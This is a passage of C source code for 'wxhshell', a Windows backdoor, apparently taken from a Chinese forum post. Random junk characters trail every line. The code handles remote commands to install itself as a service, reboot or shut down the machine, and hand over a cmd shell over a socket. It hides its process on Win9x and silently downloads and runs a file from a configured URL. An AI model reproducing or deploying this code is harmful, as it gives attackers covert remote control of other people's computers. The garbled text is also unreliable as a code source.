    switch(cmd[0]) { \<VwGbzFi  
  ?S8cl7;+  
  // 帮助 Y962rZ  
  case '?': { DU7kZ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  ]D7z&h  
    break; -/aDq?<<  
  } zjh&?G]:G  
  // 安装 %Hu Qc^  
  case 'i': { _[V.%k  
    if(Install()) Uq/(xh,t5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [?BmW {*u.  
    else 2I:vie  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Nh41o0  
    break; #3$U&|`  
    } %2<chq  
  // 卸载 &L-y1'i=j  
  case 'r': { 0.nS306  
    if(Uninstall()) q+32|k>)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~Xnq(}?ok  
    else 5cP]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p;) ;Vm+8  
    break; -o F#a 8  
    } >ofS'mp  
  // 显示 wxhshell 所在路径 :Qu!0tY  
  case 'p': { <W vuW6  
    char svExeFile[MAX_PATH]; MUNeGqv  
    strcpy(svExeFile,"\n\r"); {!B0&x  
      strcat(svExeFile,ExeFile); TUZ-4{kV"  
        send(wsh,svExeFile,strlen(svExeFile),0); -(>x@];r0  
    break; B|%=<1?  
    } amGQ!$] %#  
  // 重启 d {moU\W  
  case 'b': { C4Q ^WU+$j  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); G#Z%jO-XN  
    if(Boot(REBOOT)) x#| P-^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T}2a~  
    else { L]#J?lE&  
    closesocket(wsh); Ydmz!CEu  
    ExitThread(0); &P!^k0NJR  
    } ;4F[*VF!w  
    break; ekP=/;T#S  
    } (EU X>IJ  
  // 关机 K;-:C9@  
  case 'd': { ;oC85I  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); gSu+]N  
    if(Boot(SHUTDOWN)) AUoi$DF(@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {C*mn!u  
    else { (7}v }3/  
    closesocket(wsh); Q-}oe Q  
    ExitThread(0); 8dUwJ"<5  
    } nAd 4g|  
    break; 7G%`ziZ  
    } xzMa[D4(  
  // 获取shell `X^ 4~6/q  
  case 's': { [fR<#1Z  
    CmdShell(wsh); "6pjkEt4  
    closesocket(wsh); ;pb~Zk/[,w  
    ExitThread(0); .6$ST Ksr  
    break; J~<:yBup}  
  } ClVMZ  
  // 退出 l},px  
  case 'x': { IQScsqM  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Um15@p;  
    CloseIt(wsh); vn0XXuquzC  
    break; z]P|%  
    } 5yxZ 5Ni!  
  // 离开 EE&~D~yHUL  
  case 'q': { yYdXAenQ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); fgl"ox  
    closesocket(wsh); YQ37P?u@  
    WSACleanup(); Ks X@e)8u  
    exit(1); j@kBCzX  
    break; )_.@M '?  
        } LC[, K  
  } giaO7Qh~  
  } fb`VYD9[^  
FAE>N-brQ  
  // 提示信息 {%S1x{U}W-  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _E'M(.B<  
} uLhamE)  
  } (: ZOoL  
Q:-H U bB  
  return; >PySd"u  
} |.(o4<nx.  
|nD2k,S<?  
// shell模块句柄 {,s:vPoiA  
int CmdShell(SOCKET sock) 'Q(A5zfN]Y  
{ fhfdNmtR)I  
STARTUPINFO si; fU)hn  
ZeroMemory(&si,sizeof(si)); mL6/NSSz  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;  & .(ZO]  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7Zu!s]t  
PROCESS_INFORMATION ProcessInfo; /B1< N}  
char cmdline[]="cmd"; x:l`e:`y9  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4eaC18?  
  return 0; 4f"be  
} VIi|:k  
L1rov  
// 自身启动模式 Xx?Jt  
int StartFromService(void) k92X)/ll'  
{ C(,s_Ks  
typedef struct um3 M4>K  
{ "_#%W oo  
  DWORD ExitStatus; -Qn:6M>w^  
  DWORD PebBaseAddress; 0^[ " &K/  
  DWORD AffinityMask; YuPgsJ[m  
  DWORD BasePriority; *[yCcqN.  
  ULONG UniqueProcessId; qKO\;e*  
  ULONG InheritedFromUniqueProcessId; wc__g8?'  
}   PROCESS_BASIC_INFORMATION; UdL`.D,  
2s 6Vy  
PROCNTQSIP NtQueryInformationProcess; S~6<'N&[  
HHEFX9u  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Iv/yIS  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `+zr PpX  
uft~+w P  
  HANDLE             hProcess; Xd|5{  
  PROCESS_BASIC_INFORMATION pbi; 3tLh{S?uJ  
mDV 2vg  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^Gd <miw  
  if(NULL == hInst ) return 0; 9w0 ^=   
n:<avl@o<  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); y/i"o-}}~|  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 2_F`ILCML  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,cC4d`  
7d4R tdI  
  if (!NtQueryInformationProcess) return 0; O]2h=M@q.  
^`dp!1.+  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }qlz^s  
  if(!hProcess) return 0; =e._b 7P  
R [uo:.  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~Kb(`Px@  
=G=.THRUk  
  CloseHandle(hProcess); i:[B#|%  
d1E~H]X4  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9d2$F9]:o  
if(hProcess==NULL) return 0; ORHC bw9  
d!wd,Xj}  
HMODULE hMod; m]DjIs*@%h  
char procName[255]; Rwy:.)7B$q  
unsigned long cbNeeded; HE( U0<9c  
CWDo_g $  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %5z88-\  
>eRbasshEI  
  CloseHandle(hProcess); %pg*oX1VK6  
)m)>k` 0  
if(strstr(procName,"services")) return 1; // 以服务启动 ~RMOEH.o  
Gu_s:cgB9F  
  return 0; // 注册表启动 Y":hb;&  
} VUt 6[~?  
Qu;AU/Q<([  
// 主模块 GzR;`,_O/  
int StartWxhshell(LPSTR lpCmdLine) ]\3dJ^q|%  
{ iySmNI  
  SOCKET wsl; <B``/EX^  
BOOL val=TRUE;  u?'X%'K*  
  int port=0; bpU^|r^W  
  struct sockaddr_in door; 4< H-ol  
[R Ch7FE23  
  if(wscfg.ws_autoins) Install(); , 1`eH[  
I}8F3_b,#  
port=atoi(lpCmdLine); UHCx}LGe  
U 9 k}y  
if(port<=0) port=wscfg.ws_port; ~I^]O \?  
iu1iO;q  
  WSADATA data; _*`AGda  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Y5npz^i  
`/|=eQ")o@  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   bC@b9opD  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |w>DZG!}1-  
  door.sin_family = AF_INET; YWdlE7 y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); (PB|.`_<H  
  door.sin_port = htons(port); <QJmdcG  
)8N/t6Q  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { je{5iIr3/  
closesocket(wsl); tr'95'5W.  
return 1; mC93 &0  
} Q;^([39DI  
K8RloDjk_A  
  if(listen(wsl,2) == INVALID_SOCKET) { uV\=EDno  
closesocket(wsl); vu#:D1/BB  
return 1; <w:fR|O  
} lq9c2xK  
  Wxhshell(wsl); (>Yii_Cd  
  WSACleanup(); B}!n6j`  
2KzKNe(  
return 0; 1R:h$* -z  
+22[ h@  
} nrxN_0 R%  
CRx:3u!:  
// 以NT服务方式启动 *Js<VR  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 5_i&}c23Vn  
{ ~_oTEXT^O  
DWORD   status = 0; }Jtaq[y\r  
  DWORD   specificError = 0xfffffff; `}=Fw0  
U$J]^-AS  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Df4n9m}E  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; i&KbzOY  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |Y99s)2&N  
  serviceStatus.dwWin32ExitCode     = 0; K:{Q~+   
  serviceStatus.dwServiceSpecificExitCode = 0; ]pGr'T~Gj  
  serviceStatus.dwCheckPoint       = 0; n/ 8fv~zU  
  serviceStatus.dwWaitHint       = 0; Ln: y|t  
Gs9jX/ #  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); u*U?VZ5  
  if (hServiceStatusHandle==0) return; +HcH]D;  
m[7a~-3:J  
status = GetLastError(); $i2gOz  
  if (status!=NO_ERROR) <l6CtK@  
{ . =+7H`A  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; %8-S>'g'  
    serviceStatus.dwCheckPoint       = 0; C[s*Na-  
    serviceStatus.dwWaitHint       = 0; v0y7N_U5n  
    serviceStatus.dwWin32ExitCode     = status; nDo|^{!L`  
    serviceStatus.dwServiceSpecificExitCode = specificError; +u Lu.-N  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); #z~oc^J^T  
    return; z/T ZOFaM  
  } Q2 edS|  
-y AIrvO1q  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; W"0#  
  serviceStatus.dwCheckPoint       = 0;  OkQSqL  
  serviceStatus.dwWaitHint       = 0; *GDU=D}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); V]8fn MH  
} {P3,jY^  
h'}5 "m  
// 处理NT服务事件,比如:启动、停止 :G`_IB\  
VOID WINAPI NTServiceHandler(DWORD fdwControl) rm cy-}e  
{ )I <.DN&  
switch(fdwControl) Jw^+t)t  
{ mB,7YZv  
case SERVICE_CONTROL_STOP: X >**M  
  serviceStatus.dwWin32ExitCode = 0; {u1t .+  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; r*$"]{m}  
  serviceStatus.dwCheckPoint   = 0; +`4|,K7'  
  serviceStatus.dwWaitHint     = 0; 1ERz:\  
  { l)|CPSN?w  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); vB,N6~r>  
  } 6SmSu\lgV  
  return; :[rx|9M6  
case SERVICE_CONTROL_PAUSE: ^ 1g6(k'  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; *rbH|o8  
  break; #A/jGv^  
case SERVICE_CONTROL_CONTINUE: ~<eiWDf  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 3! +5MsR+  
  break; \}2Wd`kD  
case SERVICE_CONTROL_INTERROGATE: e (f)?H  
  break; `?$R_uFh:  
}; v3/cNd3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); QO k%Q$^G  
} B;@yOm=  
5M(?_qj  
// 标准应用程序主函数 FxUH ?%w  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) SAoqq  
{ ^\CQWgY(  
n-\B z.  
// 获取操作系统版本 |fA[s7)  
OsIsNt=GetOsVer(); MHbRG_zW  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Rl)/[T  
oYF8:PYB  
  // 从命令行安装 9-@w(kMu  
  if(strpbrk(lpCmdLine,"iI")) Install(); _S[H:b$?  
(u*]&yk  
  // 下载执行文件 rd"]$_P8O  
if(wscfg.ws_downexe) { '5Y8 rv<  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) -py.Y Z  
  WinExec(wscfg.ws_filenam,SW_HIDE); %1 v)rg y  
} YF"D;.  
*<UQ/)\  
if(!OsIsNt) { A ssf f;  
// 如果时win9x,隐藏进程并且设置为注册表启动 |hpm|eZG"h  
HideProc(); "&r1&StO  
StartWxhshell(lpCmdLine); o1Xk\R{  
} m$o|s1t  
else hsl8@=_ B  
  if(StartFromService()) _ 9k^Hd[L$  
  // 以服务方式启动 kgQEg)A]!x  
  StartServiceCtrlDispatcher(DispatchTable); \<P W_'6  
else 6^zv:C%  
  // 普通方式启动 LJiMtqg  
  StartWxhshell(lpCmdLine); USbiI %   
06ueE\@Sg  
return 0; Rub""Ga  
}
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只看该作者 1 发表于: 2006-10-10
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